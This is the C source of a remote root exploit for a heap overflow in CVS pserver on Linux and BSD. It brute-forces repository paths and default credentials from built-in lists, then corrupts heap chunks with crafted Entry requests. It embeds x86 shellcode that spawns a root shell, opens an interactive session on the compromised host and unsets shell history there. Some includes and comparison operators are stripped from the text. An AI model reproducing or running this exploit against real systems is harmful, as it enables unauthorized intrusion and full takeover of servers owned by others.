CVS Remote Entry Line Heap Overflow Root Exploit (Linux/FreeBSD)
|
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef unsigned char uchar;
void progress(void);
int brute_cvsroot(void);
int brute_username(void);
int brute_password(void);
void hdl_crashed(int);
void bsd_exploitation(void);
void try_exploit(void);
void zflush(int);
int zprintf(char *, ...);
int zgetch(void);
void start_gzip(void);
void fill_holes(void);
char * zgets(void);
void evil_entry(void);
void linux_exploitation(ulong, int);
void do_dicotomie(void);
void do_xploit(void);
char * flush_sock(void);
void usage(char *);
long getip(char *);
void try_oneshoot(void);
int connect_to_host(char *, int);
int write_sock(void *, int);
int read_sock(void *, int);
void nopen(char *, int);
char * ngets(void);
void memcpy_flush(void);
void cvs_conn(void);
int detect_remote_os(void);
void memcpy_remote(ulong, ulong, uchar *, int);
void memcpy_addr(ulong, ulong, int);
void nclose(void);
char * scramble(char *);
int sh(int);
struct array
{
char * name;
int id;
};
struct array CVSROOTS[]=
{
{ "/cvs" , -1 },
{ "/cvsroot" , -1 },
{ "/var/cvs" , -1 },
{ "/anoncvs" , -1 },
{ "/repository" , -1 },
{ "/home/CVS" , -1 },
{ "/home/cvspublic" , -1 },
{ "/home/cvsroot" , -1 },
{ "/var/lib/cvs" , -1 },
{ "/var/cvsroot" , -1 },
{ "/usr/lib/cvs" , -1 },
{ "/usr/CVSroot" , -1 },
{ "/usr/share/cvsroot" , -1 },
{ "/usr/local/cvsroot" , -1 },
{ "/usr/local/cvs" , -1 },
{ "/webcvs" , -1 },
{ NULL , -1 },
};
struct array USERNAMES[]=
{
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "cvsread" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ "reader" , -1 },
{ "cvslogin" , -1 },
{ "anon-cvs" , -1 },
{ NULL , -1 },
};
struct array PASSWORDS[]=
{
{ "" , -1 },
{ " " , -1 },
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ NULL , -1 },
};
#define HIGH_STACK 0xbfffffc0
#define LOWER_STACK 0xbfffd000
#define DEFAULT_ADDR 0xbffffd00
#define RANGE_VALID 0xbffffe00
#define DUMMY_ADDR 0x42424242
#define LINUX_ADDR 0xbfffe200
#define LINUX_SIZE 0x2000
#define HEAPBASE 0x082c512e
#define DEFAULT_TIMEOUT 20
#define TIMEOUT DEFAULT_TIMEOUT
#define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
"/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
"unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
"echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT "\033[32m"
#define NORM "\033[0m"
#define INFO ""
#define BAD_TRIP "WRONG !\n"
#define GOOD_TRIP VERT"FOUND"NORM" !\n"
#define QUIT(x...) { printf(x); exit(0); }
#ifdef DEBUGMSG
#define DEBUG(x...) fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...) fprintf(stderr, INFO""fmt)
#define aff(fmt...) fprintf(stderr, fmt)
static char tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn) read_sock(sock, buf, cn)
#define NHOLES (256 - 31)
#define SCNUM 128
#define SCSIZE 32766
#define OFFSET 106
#define ALIGN(x, y) ((x % y) ? x + (x % y) : x)
#define SET_FD(x) (x - CHUNK_BK)
#define SET_BK(x) (x - CHUNK_FD)
#define UNSET_BK(x) (x + CHUNK_FD)
#define UNSET_FD(x) (x + CHUNK_BK)
#define MAX_FILL_HEAP 200
#define NUM_OFF7 (sizeof("Entry "))
#define MSIZE 0x4c
#define MALLOC_CHUNKSZ 8
#define AN_ENTRYSZ 8
#define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF FAKECHUNK + 16
#define SIZE_VALUE -8
#define CHUNK_PSIZE 0
#define CHUNK_SIZE 4
#define CHUNK_FD 8
#define CHUNK_BK 12
#define OVERFLOW_NUM 8
#define DEFAULT_SIZE 0x300
#define SHELLCODE_OFF 0x142
#define SHELLCODE_ADDR (addr - SHELLCODE_OFF)
#define DUMMY2 "timetosleep"
#define DUMMY "theosuxdick"
#define MAGICSTRING "abroxyou"
#define ABMAGIC "-AB-"
#define ABMAGICSZ sizeof(ABMAGIC) - 1
#define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT 20
#define CVS_PORT 2401
#define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
"END AUTH REQUEST\n"
#define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
"END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS "I LOVE YOU"
#define CVS_BAD_REP "no such repository"
#define CVS_NO_USER "no such user"
#define CVSENTRY "Entry "
#define CVS_ISMOD "Is-modified "
#define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW "unrecognized request"
#define CVS_ERROR "error"
#define CVS_ERROR2 "E "
#define CVS_GZIP "Gzip-stream "
#define CVS_OK "ok"
#define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT "unable to found a valid cvsroot\n"
#define ERR_USERNAME "unable to found a valid username\n"
#define ERR_PASSWORD "unable to found a valid password\n"
#define ERR_FAILURE "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED "Fatal: authentification failure..\n"
#define ERR_ZPRINTF "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE "Inflate error\n"
#define ERR_CONN "cannot connect\n"
#define ERR_GETIP "cannot resolve\n"
#define ERR_READSOCK "cannot read data\n"
#define ERR_WRITESOCK "cannot write data\n"
#define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
|| (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
(x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
(x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char zbuf[65536 * 4];
int zbufpos;
int cur_num = 0;
int is_scramble = 0;
int detectos = 0;
int sock = 0;
int port = CVS_PORT;
ulong saddr = DEFAULT_ADDR;
uint size = DEFAULT_SIZE;
int timeout = DEFAULT_TIMEOUT;
int scnum = SCNUM;
ulong heapbase = HEAPBASE;
int isbsd = 0;
int usent = 0;
int zsent = 0;
char *root = NULL;
char *user = NULL;
char *pass = NULL;
char *host = NULL;
z_stream zout;
z_stream zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";
void usage(char * base)
{
printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
exit(0);
}
int main(int ac, char **av)
{
int c;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf(BANNER);
while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
{
switch(c)
{
case 'b':
isbsd++;
break;
case 'R':
detectos++;
break;
case 'r':
root = strdup(optarg);
break;
case 'i':
is_scramble = 1;
break;
case 's':
saddr = strtoul(optarg, 0, 0);
break;
case 't':
timeout = strtoul(optarg, 0, 0);
break;
case 'S':
size = strtoul(optarg, 0, 0);
break;
case 'u':
user = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
case 'P':
port = strtoul(optarg, 0, 0);
break;
case 'o':
heapbase = strtoul(optarg, 0, 0);
break;
case 'n':
scnum = strtoul(optarg, 0, 0);
break;
default:
usage(av[0]);
}
}
if (!host || (detectos && isbsd))
usage(av[0]);
if (!root)
if(!brute_cvsroot())
QUIT(ERR_CVSROOT);
if (!user)
if(!brute_username())
QUIT(ERR_USERNAME);
if (!pass)
if(!brute_password())
QUIT(ERR_PASSWORD);
do_xploit();
return (0);
}
void do_xploit(void)
{
int linux_only = 0;
signal(SIGPIPE, hdl_crashed);
if (detectos)
linux_only = detect_remote_os();
if (isbsd)
bsd_exploitation();
else
{
linux_exploitation(LINUX_ADDR, LINUX_SIZE);
if (!linux_only)
bsd_exploitation();
}
printf(ERR_FAILURE);
return;
}
int detect_remote_os(void)
{
info("Guessing if remote is a cvs on a linux/x86...\t");
if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
!range_crashed(0x42424242, 0x42424242 + 4))
{
printf(VERT"NO"NORM", assuming it's *BSD\n");
isbsd = 1;
return (0);
}
printf(VERT"Yes"NORM" !\n");
return (1);
}
void bsd_exploitation(void)
{
printf("Exploiting %s on a *BSD\t", host);
do_auth();
fill_holes();
evil_entry();
start_gzip();
try_exploit();
}
void linux_exploitation(ulong addr, int sz)
{
char * buf;
printf("Exploiting %s on a Linux\t", host);
cvs_conn();
fflush(stdout);
memcpy_addr(addr, SHELLCODE_ADDR, sz);
memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
sizeof(ab_shellcode) - 1);
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, MAGICSTRING))
{
printf(EXPLOITROX);
sh(sock);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
info(BAD_TRIP);
}
int do_auth(void)
{
char * your_mind;
nopen(host, port);
nprintf(CVS_LOGIN, root, user, scramble(pass));
your_mind = flush_sock();
if (!strstr(your_mind, CVS_AUTH_SUCCESS))
QUIT(ERR_AUTHFAILED);
free(your_mind);
nprintf(CVS_SEND_ROOT, root);
}
void fill_heap(void)
{
int c;
for (c = 0; c != MAX_FILL_HEAP; c++)
nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
"CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
nprintf(CVSENTRY"CC/CC/CC\n");
}
void cvs_conn(void)
{
do_auth();
fill_heap();
}
char * get_dummy(void)
{
static char buf[2048] = { '\0' };
memset(buf, '\0', sizeof(buf));
sprintf(buf, CVSENTRY"B%s/", DUMMY2);
memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
strcat(buf, "/\n");
return (&buf[0]);
}
char * build_chunk(ulong addr1, ulong addr2, int i)
{
char num[20];
char * buf = get_dummy();
if (i != -1)
{
sprintf(num, "%d", i);
memcpy(buf + NUM_OFF7, num, strlen(num));
}
*(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
*(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
*(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
return (buf);
}
void memcpy_flush(void)
{
int i = 0, j;
char * buf;
char num[20];
if (!cur_num)
return;
buf = get_dummy();
for (i = 0; i != cur_num - 1; i++)
{
sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
sprintf(num, "%d", i);
memcpy(buf + CVS_ISMODSZ, num, strlen(num));
for (j = 0; j != OVERFLOW_NUM; j++)
nprintf(buf);
}
return;
}
void memcpy_remote(ulong range, ulong addr, uchar * buf,
int sz)
{
int i;
if (sz
return ;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
{
range &= 0xFFFFFF00;
range += buf[i];
if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
}
return;
}
void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
int aff = (sz / 4) / PCNT, j;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
putchar('[');
for (j = 0; j != PCNT; j++)
putchar(' ');
putchar(']');
for (j = 0; j != PCNT + 1; j++)
putchar('\b');
fflush(stdout);
for (j = 0; sz >= 0 && eipaddr
{
if (j == aff)
{
putchar('#');
fflush(stdout);
j = 0;
}
if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
}
printf("#\t");
fflush(stdout);
return;
}
int range_crashed(int addr, int addr2)
{
char * buf;
cvs_conn();
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (; addr
if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
nprintf(build_chunk(addr, addr + 4, cur_num++));
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
|| strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
{
nclose();
return (0);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
return (1);
}
void zflush(int finish)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
QUIT("zflush : deflate failed !\n");
zsent += sizeof(outbuf) - zout.avail_out;
write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_out == 0 && zout.avail_in != 0);
zbufpos = 0;
return;
}
int zprintf(char *fmt, ...)
{
static char buf[65536];
int len;
va_list ap;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
usent += len;
if ((sizeof(zbuf) - zbufpos)
zflush(0);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
QUIT(ERR_ZPRINTF);
return (len);
}
int zgetch(void)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read_sock(rcvbuf, sizeof(rcvbuf));
if (got
QUIT(ERR_READSOCK);
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
QUIT(ERR_INFLATE);
}
}
}
char * zgets(void)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch();
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
void start_gzip(void)
{
nprintf(CVS_GZIP"1\n");
deflateInit(&zout, 9);
inflateInit(&zin);
return;
}
void fill_holes(void)
{
int i, j;
for (i = 0; i
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i
{
nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (j = 0; j
nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
}
nprintf("Set x=%472X\n", 10);
return;
}
void evil_entry(void)
{
int i;
ulong heap = heapbase;
nprintf("Set x=\n");
nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}
void try_exploit(void)
{
time_t last, now;
int i, j, len, o;
static char sc[SCSIZE+1];
for (i = 0; i
zprintf(CVS_ISMOD"AB\n");
printf("[", SCSIZE * scnum / 1024);
for (i = 0; i
putchar(' ');
printf("]");
for (i = 0; i
printf("\b");
memset(sc, 'A', SCSIZE);
memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
sizeof(xx_shellcode));
sc[SCSIZE] = 0;
last = o = 0;
for (i = 0; i
{
now = time(NULL);
if (now > last || (i + 1 == scnum))
{
last = now;
for (j = 0; j
printf("\b");
for (j = 0; j
printf("#");
}
zprintf(CVSENTRY"%s\n", sc);
}
printf("] ");
zflush(0);
zflush(1);
len = read_sock(sc, sizeof(sc));
for (i = 0; i
if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
{
printf(EXPLOITROX);
sh(sock);
}
printf(BAD_TRIP);
}
int brute_cvsroot(void)
{
int i, ret = 0;
char * rbuf;
info("Bruteforcing cvsroot...\n");
for (i = 0; CVSROOTS[i].name; i++)
{
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
rbuf = flush_sock();
nclose();
if (!rbuf || strstr(rbuf, CVS_BAD_REP))
info(BAD_TRIP);
else if (strstr(rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS) ||
strstr(rbuf, CVS_NO_USER))
{
info(GOOD_TRIP);
CVSROOTS[i].id = i;
root = CVSROOTS[i].name;
if (user && pass)
{
free(rbuf);
return (1);
}
ret++;
}
else
printf(BAD_TRIP);
free(rbuf);
}
return (ret);
}
int brute_username(void)
{
int i, c, ret = 0;
char * rbuf;
info("Bruteforcing cvs login... \n");
for (c = 0; CVSROOTS[c].name; c++)
{
if (!root && CVSROOTS[c].id == -1) continue;
for ( i=0; USERNAMES[i].name; i++ )
{
if (root)
CVSROOTS[c].name = root;
info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
USERNAMES[i].name);
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
scramble(DUMMY));
rbuf = flush_sock();
nclose();
if ( strstr( rbuf, CVS_NO_USER))
info( BAD_TRIP, rbuf );
else if (strstr( rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
USERNAMES[i].id = CVSROOTS[c].id;
user = USERNAMES[i].name;
if (pass)
{
free(rbuf);
return (1);
}
ret++;
}
free(rbuf);
}
if (root)
return (ret);
}
return (ret);
}
int brute_password(void)
{
int i, c, ret=0;
char * rbuf;
info("Bruteforcing cvs password...\n");
for (c = 0; USERNAMES[c].name; c++)
{
if (!user && USERNAMES[c].id == -1) continue;
for (i = 0; PASSWORDS[i].name; i++)
{
info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
PASSWORDS[i].name);
nopen(host, port);
nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
rbuf = flush_sock();
nclose();
if (strstr(rbuf, CVS_AUTH_FAILED))
info(BAD_TRIP, rbuf);
else if (strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
if (!root)
root = CVSROOTS[ USERNAMES[c].id ].name;
if (!user)
user = USERNAMES[c].name;
pass = PASSWORDS[i].name;
free(rbuf);
printf(SUCCESS_LOGON, user, pass, root);
return (1);
}
else
info(BAD_TRIP);
free(rbuf);
}
if (user)
return (0);
}
return (0);
}
void hdl_crashed(int signum)
{
return;
}
int write_sock(void * buf, int sz)
{
fd_set wfds;
struct timeval tv;
int ret;
if (sz
return (sz);
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
while (select(sock + 1, NULL, &wfds, NULL, &tv)
{
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
tv.tv_sec = timeout;
tv.tv_usec = 0;
}
if ((ret = write(sock, buf, sz)) != sz)
QUIT(ERR_WRITESOCK);
return (ret);
}
int read_sock(void * buf, int sz)
{
fd_set rd;
struct timeval tv;
int ret;
FD_ZERO(&rd);
FD_SET(sock, &rd);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = ret = 0;
if (select(sock + 1, &rd, NULL, NULL, &tv)
QUIT(ERR_READSOCK);
if ((ret = read(sock, buf, sz))
return (ret);
}
char * flush_sock(void)
{
char * ret;
int len, y, i = 0;
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sock, &rfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
#define BUF_SIZE 42
ret = malloc((len = BUF_SIZE));
if (select(sock + 1, &rfds, NULL, NULL, &tv)
return ("");
while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
{
i += y;
ret = realloc(ret, (len += BUF_SIZE));
}
if (i == len)
realloc(ret, len + 1);
ret[i] = 0;
return (ret);
}
long getip(char * hostname)
{
struct hostent * p_hostent;
long ipaddr;
ipaddr = inet_addr( hostname );
if (ipaddr
{
p_hostent = gethostbyname(hostname);
if (p_hostent == NULL)
QUIT(ERR_GETIP);
memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
}
return(ipaddr);
}
int connect_to_host(char * host, int port)
{
struct sockaddr_in s_in;
memset( &s_in, '\0', sizeof(struct sockaddr_in) );
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = getip( host );
s_in.sin_port = htons( port );
if ((sock = socket( AF_INET, SOCK_STREAM, 0 ))
QUIT(ERR_CONN);
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
QUIT (ERR_CONN);
#ifdef SHITTEST
sleep(15);
#endif
fcntl(sock, F_SETFL, O_NONBLOCK);
return (sock);
}
void nopen(char * host, int port)
{
connect_to_host(host, port);
cur_num = 0;
return;
}
void nclose(void)
{
cur_num = 0;
close(sock);
return;
}
unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char * scramble(char * str)
{
int i;
char * s;
if (is_scramble)
return (str);
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = shifts[(unsigned char)(str[i - 1])];
return (s);
}
int sh(int sockfd)
{
int cnt;
char buf[1024];
fd_set fds;
write(sockfd, CMD, strlen(CMD));
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
{
if(FD_ISSET(0, &fds))
{
if((cnt = read(0, buf, 1024))
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(sockfd, buf, cnt);
}
if(FD_ISSET(sockfd, &fds))
{
if((cnt = read(sockfd, buf, 1024))
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(1, buf, cnt);
}
}
}
exit(0);
}
|